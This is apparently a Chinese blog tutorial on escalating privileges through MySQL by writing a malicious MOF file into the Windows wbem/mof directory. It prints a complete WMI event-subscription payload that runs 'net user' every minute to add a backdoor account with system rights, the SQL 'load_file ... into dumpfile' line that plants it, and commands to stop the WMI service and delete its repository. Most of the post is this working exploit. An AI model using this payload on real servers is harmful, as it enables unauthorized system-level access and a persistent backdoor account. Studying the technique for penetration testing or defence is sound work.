Loading

Mysql提权(三)---MOF提权

一、原理

利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行,以系统权限执行

二、提权的条件

1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null

三、nullevt.mof的利用代码

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

四、上传mof

使用sql语句将文件导入到c:/windows/system32/wbem/mof/ (一般是win2003 ,Windows2008以上由于保护机制,较少能够成功(无法写入))

select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

要注意的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据

五、关于MOF提权的弊端

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?
cmd 下运行下面语句:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
posted @ 2021-07-03 22:08  Ctrl_C+Ctrl_V  阅读(85)  评论(0编辑  收藏  举报